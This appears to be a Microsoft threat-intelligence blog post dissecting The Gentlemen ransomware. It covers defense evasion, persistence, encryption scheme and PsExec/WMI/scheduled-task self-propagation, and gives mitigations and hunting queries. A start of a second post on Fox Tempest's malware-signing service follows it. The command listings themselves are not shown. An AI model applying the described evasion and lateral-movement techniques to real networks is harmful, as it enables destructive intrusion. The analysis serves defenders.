Ransomware that combines robust encryption with rapid lateral movement significantly increases the risk and impact of an attack. The Gentlemen ransomware is a ransomware-as-a-service (RaaS) threat that is distinguished by its ability to pair its strong per-file encryption with an aggressive self-propagation capability designed to enable broad network compromise. In addition to using per-file ephemeral Curve25519 keys with XChaCha20 stream cipher, The Gentlemen ransomware attempts to spread across an environment using series of simultaneous, distinct lateral movement methods, increasing the likelihood of widespread impact once initial access is achieved.

Microsoft Threat Intelligence tracks the operators behind the ransomware as Storm-2697, a financially motivated threat actor that manages the RaaS platform known as “The Gentlemen” while affiliates carry out attacks. Emerging around mid-2025, The Gentlemen initially started as a closed ransomware group then began offering its RaaS to affiliates in September 2025. More recently, The Gentlemen operators established an official partnership with BreachForums, a popular cybercriminal marketplace, to recruit affiliates including penetration testers and initial access brokers. Given that The Gentlemen is already a widely adopted RaaS platform, this partnership may lead to increased activity as the program becomes accessible to a broader pool of threat actors.

The operators behind the ransomware use double extortion tactics, encrypting data while also exfiltrating sensitive information to pressure victims through the threat of public release if the ransom is not paid. The ransomware is written in Go and obfuscated with Garble to target the Windows environment. Microsoft has observed The Gentlemen ransomware impacting organizations across education, transportation, healthcare, and financial industries in North America, South America, Europe, Africa, and Asia.

In this blog, we present a detailed analysis of the Gentlemen ransomware encryptor, including its execution flow, defense evasion behaviors, encryption design, and lateral movement techniques. This research is intended to provide defenders, incident responders, and the broader security community with a better understanding of how the threat operates, from initial argument parsing and defense evasion, through its file encryption internals, to the full lateral movement that enables it to propagate across the network. We also provide mitigation guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help organizations defend against this threat and similar ransomware activity.

Pre-encryption

Command-line argument processing

The ransomware operator can control The Gentlemen encryptor through command-line arguments. A password is required for execution, and optional arguments allow the operator to specify encryption scope, speed, lateral movement, and post-encryption behaviors.

The binary accepts the following arguments:

The --full command-line argument appears to be the intended mode of operation for comprehensive file encryption on the infected device. When this argument is provided, the malware spawns two child processes of itself: one appended with the argument --system to encrypt local volumes under a SYSTEM-privileged scheduled task, and one appended with the argument --shares to encrypt network shares. This separation ensures that the malware can reach both local drives (which might require SYSTEM privileges) and mapped network shares (which are only visible in the user’s session).

The speed arguments (--fast, --superfast, --ultrafast) are mutually exclusive and control how much of each large file is encrypted. When no speed flag is specified, the default per-chunk percentage is 9%. These flags only affect files that are larger than 1 MB, and small files are fully encrypted regardless of the speed setting.

Usage prompt

When the encryptor is executed with no command-line argument, the malware prints a branded usage banner to the console.

It first executes the following PowerShell commands to render a console header:

This is followed by a detailed usage prompt provided by the malware author that documents all available flags with descriptions and examples:

It is worth noting that the file size percentages listed in the usage prompt refer to the total file encryption amount. Internally, the malware encrypts three separate chunks, and the per-chunk percentage used in the code is: fast=3%, superfast=1%, ultrafast=0.3%, default=9%.

Password check

Before executing its primary functionality, the malware validates the --password argument against a hardcoded value embedded within the binary. For the sample analyzed in this blog, the expected password is “9VoAvR7G”. If the provided password does not match, the malware outputs bad args and terminates execution.

This password check is a simple operator authentication mechanism, with each build containing a unique embedded password. Its purpose is to restrict execution to authorized operators and reduce the risk of accidental or unauthorized detonation if the binary is recovered or intercepted. However, because this validation relies on a static comparison, it can be easily identified and bypassed through static analysis techniques.

System encryption: Privilege escalation

When the --system argument is provided (either directly or via the --full argument), the malware creates a scheduled task to re-execute itself as SYSTEM. If a delay value is also specified through the --T argument, the scheduled execution time is adjusted accordingly.

To relaunch itself as SYSTEM, it issues the following sequence of commands:

The malware can only perform this task if it’s executed from an account with administrator privilege. It first deletes any existing task named gentlemen_system to avoid conflicts, creates a new one-time task that runs its binary under the SYSTEM account, and finally triggers that task.

This sequence ensures a clean state by first removing any existing task with the same name (gentlemen_system), creating a new scheduled task that executes the ransomware binary with SYSTEM-level privileges before finally triggering its immediate execution.

When running within this scheduled task context, the malware sets the environment variable LOCKER_BACKGROUND=1. This variable functions as an internal execution flag, indicating that the process is operating as a background encryption worker with elevated privileges, rather than as the original operator-invoked instance.

Defense evasion

Before starting file encryption, the malware executes a sequence of commands to disable defensive controls and remove potential forensic artifacts.

Disable Microsoft Defender

The PowerShell commands disable Microsoft Defender real-time monitoring to remove active protection on the infected device. The malware then adds its own executable to the Defender exclusion list to avoid detection. Finally, it excludes the entire C:\ volume from scanning, reducing the likelihood of subsequent detection during file encryption.

Delete shadow copies and event logs

To further impede recovery efforts, the malware deletes all Volume Shadow Copies using both vssadmin and wmic (Windows Management Instrumentation command-line utility). It then clears the System, Application, and Security event logs using wevtutil to remove key audit trails.

Delete forensics artifacts

These commands remove a variety of forensic artifacts, including prefetch files that track program execution, Defender diagnostic and support logs, and Remote Desktop Protocol (RDP) logs.

Additionally, the malware manually deletes PowerShell command history across all user profiles by removing the following file:

This action eliminates evidence of previously executed PowerShell commands, further reducing the visibility of execution history and threat actor activity.

Process and service termination

Process termination

The malware stops a list of running processes using the command:

The table below summarizes the different categories and processes being targeted:

Service termination

In addition to terminating processes, the malware disables and stops a list of Windows services using the commands:

The table below summarizes the different categories and services being targeted:

Terminating these processes and services serves two primary objectives:

• File access and encryption reliability: Many targeted processes/services, such as databases, Office applications, and backup agents, maintain active file locks. By forcibly terminating these processes, the ransomware ensures that locked files become accessible for encryption.
• Defense and recovery disruption: By stopping backup services, endpoint protection agents, and remote access tools, the malware reduces the likelihood of real-time detection and data restoration from backups.

Collectively, these behaviors maximize encryption coverage while hindering the environment’s ability to detect, respond to, or recover from the attack.

Persistence

The encryptor can establish persistence for itself through two mechanisms: scheduled tasks and registry keys.

Scheduled tasks persistence

For establishing persistence with scheduled tasks, the malware executes the following sequence of commands:

These commands first remove any pre-existing tasks with the same names, then create two persistence mechanisms that execute automatically at system startup. The UpdateSystem task launches the payload in the SYSTEM security context, while the UpdateUser task launches it in the currently signed-in user’s context. This design increases the likelihood that the ransomware will run after reboot regardless of privilege level or sign-in state.

Registry keys persistence

For establishing persistence with the registry, the malware executes the following sequence of commands:

The GupdateS value under HKEY_LOCAL_MACHINE (HKLM) provides device-wide persistence that allows the malware to run at startup for all users, while the GupdateU value under HKEY_CURRENT_USER (HKCU) provides user-scoped persistence within the current profile. By writing to both registry hives, the malware establishes redundant autorun paths across both system-level and user-level execution contexts.

Together, the scheduled tasks and Run key modifications create layered persistence, ensuring that the encryptor is re-executed after a reboot in both privileged and user-context scenarios.

Network share traversal

When the command-line argument --shares is provided, the malware initiates network share discovery and enumeration. It begins by probing all drive letters A through Z to identify mapped network drives using the following commands:

This sequence discovers any drives that are already mapped in the current user’s session, which are then added to the encryption target list.

To further enhance visibility into the network environment, the malware enables multiple Windows network discovery services and their associated firewall rules using the following commands:

The services enabled as part of this process include:

• Function Discovery Resource Publication (fdrespub): Publishes the host’s resources to the network, allowing other systems to detect it.
• Function Discovery Provider Host (fdPHost): Hosts provider components responsible for discovering network resources.
• Simple Service Discovery Protocol (SSDP) Discovery (SSDPSRV): Enables discovery of Universal Plug and Play (UPnP) devices.
• UPnP Device Host (upnphost): Supports the hosting and management of UPnP devices.

Finally, the malware reinforces this configuration by enabling the Network Discovery firewall rule group. This redundancy ensures that firewall restrictions do not limit its network visibility, further maximizing the number of reachable targets for encryption and propagation.

Volume and directory traversal

To enumerate all available volumes on the system, the malware executes the following PowerShell command sequence:

This command queries Windows Management Instrumentation (WMI) for all mounted volumes with drive letter paths and attempts to enumerate Cluster Shared Volumes (CSVs).

Additionally, the malware performs a secondary enumeration routine by iterating through drive letters A through Z while verifying their existence on disk. This brute-force method ensures broader coverage by identifying volumes that might not be retrieved through WMI queries to maximize visibility into all potential encryption targets.

Directory exclusion list

To maintain system stability and avoid disrupting critical operating system components, the malware excludes a predefined set of directories from traversal and encryption. These directories include core Windows system paths, application directories, and locations commonly associated with security and system management:

Extension exclusion list

The ransomware also excludes a set of file extensions associated with system-critical binaries, configuration files, and executable content:

By avoiding executable files, libraries, scripts, and other system-relevant formats, the malware preserves the integrity of the operating environment. This selective encryption model is a common ransomware design pattern, ensuring that the system remains operational enough for the victim to receive instructions and facilitate ransom payment.

File name exclusion list

The specific file names below are also excluded:

The inclusion of README-GENTLEMEN.txt, the ransomware’s ransom note, prevents it from being encrypted during execution. This ensures that the ransom instructions remain accessible to the victim, which is critical for the operator’s monetization workflow.

Ransom note

During directory traversal, the malware drops a ransom note named README-GENTLEMEN.txt in each scanned directory to provide victim-facing instructions.

The note contains identifiers assigned to the victim, communication channels, and guidance on how to initiate contact with the operators.

File encryption

File ownership

Before encrypting a file, the ransomware modifies the file ownership and access control settings to ensure it has unrestricted write access to the target. This is achieved through the following sequence of commands:

The takeown command recursively transfers ownership of the specified file or directory to the executing user, overriding existing ownership constraints. The icacls command then grants full control permissions to the Everyone security identifier (SID S-1-1-0), applying inheritance flags to propagate these permissions to all child objects. Finally, the attrib command removes the read-only attributes.

Cryptographic scheme

The Gentlemen ransomware implements a hybrid cryptographic design that combines Curve25519 elliptic-curve cryptography with the XChaCha20 stream cipher to achieve efficient and secure per-file encryption.

For each file, the malware performs the following sequence of operations:

1. Generates a unique ephemeral Curve25519 key pair, consisting of a randomly generated private key and its corresponding public key
2. Computes the Elliptic-curve Diffie–Hellman (ECDH) shared secret between the ephemeral private key and the operator’s embedded public key
3. Uses the resulting shared secret as the XChaCha20 key, and derives the nonce from the first 24 bytes of the ephemeral public key
4. Encrypts the file contents using XChaCha20 with this key and nonce combination
5. Appends the Base64-encoded ephemeral public key to the file footer to enable subsequent key reconstruction during decryption

In this sample, the operator’s public key is hard-coded within the binary as a Base64-encoded value:

This design ensures that each file is encrypted with a distinct key and nonce derived from a per-file ephemeral key exchange, eliminating any possibility of key or nonce reuse across files.

During decryption, the decryptor can use the operator’s Curve25519 private key together with the stored ephemeral public key to reconstruct the ECDH shared secret and recover the XChaCha20 key. The nonce is deterministically reconstructed by extracting the first 24 bytes of the recovered ephemeral public key, making separate nonce storage unnecessary.

Overall, this approach provides strong cryptographic isolation between encrypted files while maintaining operational simplicity and efficiency for the threat actor during both encryption and decryption.

Size-based encryption

The malware uses different encryption strategies based on file size:

Small files that are less than 1MB in size are fully encrypted. This ensures that documents, configuration files, and other small but critical data are completely corrupted. For larger files such as databases, virtual disk images, archives, full encryption would be time-consuming. Instead, the malware encrypts three data chunks distributed across the file, which is sufficient to corrupt the file structure while dramatically reducing encryption time.

After encryption, each affected file is renamed with the appended extension .umc16h. This extension serves as a quick indicator of files already encrypted by the ransomware.

Large file chunking logic

For files larger than 1 MB, the malware performs partial encryption by dividing the file into three non-contiguous chunks distributed across its contents:

The first chunk begins at the start of the file, the second is positioned near the midpoint, and the third is located toward the end. This distribution ensures that even limited encryption is sufficient to corrupt the file structure while minimizing processing time.

Each chunk is encrypted in 64 KB (0x10000) blocks using XChaCha20. To maintain cryptographic separation between chunks, the malware modifies the nonce on a per-chunk basis. Specifically, the last byte of the 24-byte XChaCha20 nonce is XOR-ed with the chunk index (0, 1, or 2), and a new cipher instance is initialized for each chunk using the modified nonce. As a result, chunk 0 uses the original nonce, while subsequent chunks use deterministically altered variants.

Although all chunks for a given file share the same derived encryption key, this nonce mutation ensures that each chunk is processed under a unique keystream, preventing keystream reuse across different regions of the file.

The encryption percentage for each file is determined by the provided speed command-line arguments:

File footer

After encrypting each file, the malware appends a structured footer containing metadata required for identification and decryption. The footer format differs slightly depending on whether the file was fully or partially encrypted.

Small file encryption (files ≤ 1 MB):

Large file encryption (files > 1 MB):

The footer serves three primary functions:

1. Key and nonce reconstruction: The Base64-encoded ephemeral public key, located after --eph--, allows the decryptor to recompute both the XChaCha20 key (using ECDH shared secret) and the nonce (first 24 bytes of the ephemeral public key).
2. Identification: The GENTLEMEN marker, located after --marker--, serves as a unique identifier, allowing encryptors/decryptors to quickly determine that the file has been encrypted by The Gentlemen ransomware.
3. Decryption mode: The optional speed flag marker (only present on large files) tells the decryptor which chunking percentage was used.

Notably, the speed marker is only present for large-file encryption. Files that are ≤ 1 MB do not include a speed marker, and its absence signals that the file was fully encrypted. This implicit encoding in the footer allows the decryptor to distinguish between full and partial encryption modes without requiring additional metadata fields.

Post-encryption

Wallpaper setup

If the --silent argument is not provided, the malware drops the following bitmap image file to %TEMP%\gentlemen.bmp and sets it as the system’s desktop wallpaper.

This behavior serves as an immediate visual indicator of compromise, signaling to the victim that encryption has completed.

Self-propagation

The self-propagation module is the more distinctive component of The Gentlemen ransomware. When enabled with the --spread argument, it turns the malware from a single-host encryptor into a self-propagating worm that attempts to deploy its encryptor to every reachable system on the network.

The --spread argument accepts either explicit credentials in domain/user:password format for authenticated lateral movement, or an empty string to reuse the current session’s authentication token.

Placeholder legend

The executed commands in this section use the following placeholders:

Phase 1: Local staging setup

The malware prepares the infected host to act as a distribution point for its binary by executing the following command sequence:

The commands copy the malware executable into C:\Temp, creates a hidden Server Message Block (SMB) share named share$ pointing to that directory, and modifies registry settings to allow anonymous access. With this setup, other systems on the network can retrieve the payload from \\<self>\share$, even when valid credentials are not available.

Phase 2: PsExec drop

The malware binary carries an embedded copy of PsExec and drops it to C:\Temp\psexec.exe on the infected device.

If the embedded PsExec payload cannot be extracted successfully, the malware falls back to downloading PsExec directly from Microsoft’s Sysinternals Live service using the following PowerShell command:

Phase 3: Network enumeration

After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers. Each discovered host becomes a candidate target for propagation.

Phase 4: PowerShell defense evasion blob

Before attempting to run the payload on a remote system, the malware executes the following PowerShell command on the remote target to weaken local defenses and make payload execution more reliable:

This command disables Microsoft Defender real-time monitoring, adds broad Defender exclusions, turns off Windows Firewall across all profiles, shares local drives, grants permissive New Technology File System (NTFS) access, enables SMB1, and loosens anonymous-access restrictions through Local Security Authority (LSA) registry settings. Together, these changes make the remote system significantly more exposed and ready for the payload deployment step.

Phase 5: Payload deployment

For each discovered remote host, the malware attempts a series of independent lateral movement techniques to execute its payload. Notably, these techniques are executed without dependency on prior success, and each method is attempted regardless of whether earlier attempts fail. This execution model of The Gentlemen’s propagation logic can significantly increase the likelihood that at least one execution path succeeds even in secured environments.

5.1: Remote file copy

The malware first stages its payload on the remote system by copying the encryptor binary over the administrative C$ share:

This operation ensures a local copy of the payload is available on the target host, allowing subsequent execution methods to reference a path that does not depend on network shares.

5.2: PsExec-based execution

If PsExec is successfully dropped or downloaded, the malware leverages it to perform a multi-stage execution sequence on the remote host.

First, the malware executes the PowerShell defense evasion payload to weaken host protections:

After a delay to allow defenses to be disabled, the malware executes the payload from the locally staged path C:\Temp under SYSTEM privileges:

After another sleep period, the malware executes the final command to run the payload with the –h flag for elevated token and –c -f to copy and force execution:

5.3: WMIC process creation

The malware uses WMI via wmic.exe to create remote processes:

The first command executes the defense evasion blob, the second runs the payload from the infected host’s SMB share, and the third runs the pre-staged copy from the target’s local C:\Temp directory.

5.4: Scheduled tasks (user)

The malware creates three scheduled tasks under the target user’s context, each running two minutes after the time when they are created:

The scheduled task DefU is set to run the defense evasion blob, UpdateGU executes the payload from the infected host’s SMB share, and UpdateGU2runs the pre-staged copy from the target’s local C:\Temp directory.

5.5: Scheduled tasks (system)

The same three tasks are repeated, running under the SYSTEM account:

By attempting both user-context and SYSTEM-context task creation, the ransomware can improve its chance of propagation across environments with different permission boundaries.

5.6: Service-based execution

The malware executes the following command sequence to create three Windows services on the target host:

Similar to the scheduled tasks, the service DefSvc is set to run the defense evasion blob, UpdateSvc executes the payload from the infected host’s SMB share, and UpdateSvc2 runs the pre-staged copy from the target’s local C:\Temp directory. These services run as SYSTEM by default, which provides another high-privilege execution path for the ransomware payload on the remote system.

5.7: Payload deployment: PowerShell remoting

Using PowerShell remoting, the malware executes commands directly on the target using Invoke-Command:

This method leverages Windows Remote Management (WinRM), providing an alternative execution channel when PsExec or WMIC are unavailable or blocked.

5.8: PowerShell WMI execution

Finally, the malware uses the PowerShell WMI class interface directly to create remote processes with the following command sequence.

This provides functionality equivalent to wmic.exe, but through a different execution path. As a result, it might succeed in environments where the WMIC binary is restricted but WMI access remains available.

Self-propagation summary

Across all techniques, the malware attempts 21 remote execution operations per target host, spanning multiple APIs, privilege levels, and execution contexts. Each method attempts to launch the payload from:

• The infected host’s SMB share: \\<self>\share$\<payload_name>
• The target host’s locally staged path: C:\Temp\<payload_name>

This redundancy is central to The Gentlemen’s propagation strategy. In secured environments where most lateral movement techniques are mitigated, a single successful execution on a single additional host is sufficient to continue the propagation.

Free space wipe

If the --wipe argument is provided, The Gentlemen ransomware performs an additional post-encryption routine to eliminate recoverable artifacts from disk.

The malware first enumerates all available volume paths on the system. For each volume, it creates a temporary file named wipefile.tmp at the root directory and determines the amount of available free space. It then writes random data to this file in 64 MB blocks until the volume is completely filled. Once the disk space has been exhausted, the temporary file is deleted.

This process effectively overwrites all unallocated disk space with random data, preventing forensic tools from recovering remnants of previously deleted files. This includes cached or temporary versions of original unencrypted data that might still reside on disk. When combined with earlier actions such as Volume Shadow Copy deletion, this behavior reduces the likelihood of data recovery without access to the threat actor’s decryption key.

Self-delete

If the --keep flag is not provided, the malware attempts to remove its executable from disk after completing encryption.

Since a running process cannot directly delete its own binary, the ransomware generates and executes a temporary batch script at <malware_path>.batwith the following contents:

The batch script introduces a short delay by sending three Internet Control Message Protocol (ICMP) echo requests to the local host, pausing execution long enough for the main malware process to terminate. After this delay, the script deletes the original ransomware executable before removing itself. This mechanism helps reduce on-disk artifacts and hinders post-incident forensic analysis by eliminating the ransomware binary from the compromised system.

Defending against The Gentlemen ransomware

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Turn on tamper protection features to prevent threat actors from stopping security services. In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
• Enable controlled folder access. Controlled folder access helps protect your valuable data from malicious apps and threats, such as ransomware. Controlled folder access works by only allowing trusted apps to access protected folders. Protected folders are specified when controlled folder access is configured. Apps that aren’t included in the trusted apps list are prevented from making any changes to files inside protected folders. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully. 
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block process creations originating from PSExec and WMI commands if you’re managing your devices with Intune or another MDM solution. This rule is incompatible with management through Microsoft Endpoint Configuration Manager. 
  • Use advanced protection against ransomware

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Ransom:Win64/Gentlemen

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware-linked threat actor detected
• Ransomware behavior detected in the file system
• Possible ransomware activity
• File backups were deleted
• Potential human-operated malicious activity
• Possible data exfiltration
• Suspicious wallpaper change

The following alerts might indicate threat activity associated with The Gentlemen ransomware if Defender for Endpoint is set to block mode.

• ‘Gentlemen’ ransomware was detected
• ‘Gentlemen’ ransomware was prevented

Microsoft Defender for Cloud Apps

The following alert might indicate threat activity associated with this threat. This alert, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware activity

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Tool profile: Gentlemen ransomware
• Threat overview profile: Human-operated ransomware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Known The Gentlemen ransomware files

Search for the file hashes associated with The Gentlemen ransomware activity identified in this report. 

let fileHashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
union
(
   DeviceFileEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
   DeviceEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = 
SHA256, SourceTable = "DeviceEvents"
),
(
   DeviceImageLoadEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
   DeviceProcessEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect web sessions IP and file hash indicators of compromise using Advanced Security Information Model (ASIM)

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic([]);
let ioc_sha_hashes =dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect files hashes indicators of compromise using ASIM

The following query checks IP addresses and file hash IOCs across data sources supported by ASIM file event parser:

// file hash list - imFileEvent
let ioc_sha_hashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Indicators of compromise

Acknowledgements

• License to Encrypt: The “Gentlemen” Make Their Move. Cybereason (accessed 2026-02-06)
• Unmasking The Gentlemen Ransomware: Tactics, Techniques, and Procedures Revealed. TrendMicro (accessed 2026-02-06)

Learn more

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The post The Gentlemen ransomware: Dissecting a self-propagating Go encryptor appeared first on Microsoft Security Blog.

Fox Tempest is a financially motivated threat actor that operates a malware-signing-as-a-service (MSaaS)  used by other cybercriminals to more effectively distribute malicious code, including ransomware. The threat actor abuses Microsoft Artifact Signing to generate short-lived, fraudulent code-signing certificates to appear legitimately signed, allowing malware to evade security controls.

Fox Tempest has created over a thousand certificates and established hundreds of Azure tenants and subscriptions to support its operations. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), with support from industry partner Resecurity, disrupted Fox Tempest’s MSaaS offering, targeting the infrastructure and access model that enables its broader criminal use.

Microsoft Threat Intelligence observed Fox Tempest’s operations enabling the deployment of Rhysida ransomware by threat actors such as Vanilla Tempest, as well as the distribution of other malware families including Oyster, Lumma Stealer, and Vidar. The consistency, scale, and downstream impact of the resulting attack activity demonstrate that Fox Tempest is a vital operator within the broader cybercrime ecosystem.

In this blog, we examine how Fox Tempest’s MSaaS operation functioned and how it enabled the delivery of trusted, signed malware across the cybercrime ecosystem. We also provide Microsoft Defender detections, indicators of compromise (IOCs), and mitigation recommendations to help organizations identify and disrupt similar activity.

Fox Tempest’s role and impact

Fox Tempest doesn’t directly target victims but instead provides supporting services that enable ransomware operations by other threat actors. Microsoft Threat Intelligence has tracked Fox Tempest since September 2025. Microsoft Threat Intelligence has linked the actor to various ransomware groups including Vanilla Tempest, Storm-0501, Storm-2561, and Storm-0249, who have all leveraged Fox Tempest-signed malware in active intrusions. Malware delivery in these attacks have included use of legitimate purchased advertisements, malvertising, and SEO poisoning.

Cryptocurrency analysis associated with Fox Tempest has identified clear links tying the actor to ransomware affiliates responsible for delivering several prominent ransomware families, including INC, Qilin, Akira, and others, with observed proceeds in the millions. Based on the scale of the MSaaS offering, Microsoft Threat Intelligence assesses that Fox Tempest is a well-resourced group handling infrastructure creation, customer relations, and financial transactions.

The downstream impact of these operations has resulted in attacks against a broad range of industry sectors, including healthcare, education, government, and financial services, impacting organizations globally including, but not limited to the United States, France, India, and China.

Fox Tempest’s malware signing as a service infrastructure

Fox Tempest’s MSaaS capability was available through the website signspace[.]cloud, a now defunct service that was disrupted by DCU, which enabled other threat actors to fraudulently obtain short-lived Microsoft-issued certificates that were valid for only 72 hours, obtained through Artifact Signing (previously named Azure Trusted Signing). This use of short-life certificates from a trusted source allowed malware and ransomware to masquerade as legitimate software (like AnyDesk, Teams, Putty, and Webex) to bypass security controls, significantly increasing the likelihood of execution and successful delivery. Fox Tempest offered this MSaaS capability to the ransomware ecosystem since at least May 2025.

To obtain legitimate signed certificates through Artifact Signing, the requestor must pass detailed identify validation processes in keeping with industry standard verifiable credentials (VC), which suggests the threat actor very likely used stolen identities based in the United States and Canada to masquerade as a legitimate entity and obtain the necessary digital credentials for signing. The SignSpace website was built on Artifact Signing and enabled secure file signing through an admin panel and user page, leveraging Azure subscriptions, certificates, and a structured database for managing users and files. A GitHub repository, called code‑signing‑service, included configuration files and technical details that directly linked it to the infrastructure behind signspace[.]cloud.

The signspace[.]cloud service has two unique modeling groupings: the admin and the customers. The admin is responsible for maintaining the tooling, account creation, and infrastructure, while the customers provide files to be fraudulently code signed. Customers who accessed the service could upload malicious files to be signed using Fox Tempest-controlled certificates.

Below are examples of the signspace[.]cloud portal as seen by Fox Tempest’s customers:

In February 2026, Microsoft Threat Intelligence observed a notable shift in Fox Tempest’s operational infrastructure. Fox Tempest transitioned to providing customers with pre-configured virtual machines (VMs) hosted on US-based virtual private server provider Cloudzy’s infrastructure, allowing threat actors to upload their malicious files directly to Fox Tempest‑controlled environments and receive signed binaries in return. This infrastructure evolution reduced friction for customers, improved operational security for Fox Tempest, and further streamlined the delivery of malicious but trusted, signed malware at scale. Microsoft’s Digital Crimes Unit (DCU) disrupted this infrastructure and continues to partner with Cloudzy to identify and disrupt related infrastructure.

Below is an example of the Fox Tempest-provided VM environment as seen by customers:

Inside the VM, Fox Tempest provided files that are used to sign code:

• The first file, metadata.json, was a configuration file that pointed to an Azure‑hosted endpoint which also included the signing account and certificate profile.
• The second file, test.js, is an example of a file provided by Fox Tempest that had been digitally signed to demonstrate their signing capabilities to customers.
• The third file, PS code sample.txt, contains the PowerShell script they used to sign customer‑submitted files using certificates under Fox Tempest control.

Threat actors using Fox Tempest’s MSaaS offering paid thousands of dollars to get their malicious code signed, as shown below with the Google Form detailing the service’s pricing model. Actors filled out the form before being added to a queue to submit payment and gain access to a VM. The form (written in both English and Russian) asks the user to choose a selected plan from a price list of $5000 USD, $7500 USD, or $9000 USD, with a mention that higher paying plans receive priority in the queue sequence.

Fox Tempest engaged directly with customers using a Telegram channel, EV Certs for Sale by SamCodeSign under the user account arbadakarba2000. All signing activity occurred using a Fox Tempest-provided email address associated with a very small number of IP addresses.

Case study: Fox Tempest enables Vanilla Tempest attacks

Vanilla Tempest began using Fox Tempest’s MSaaS service as early as June 2025. Through this service, Vanilla Tempest uploaded malicious payloads such as trojanized Microsoft Teams installers, which Fox Tempest would fraudulently signed to appear legitimate. Vanilla Tempest would then distribute these signed binaries through legitimately purchased advertisements that redirected users searching for Microsoft Teams to attacker‑controlled advertisements and fraudulent download pages.

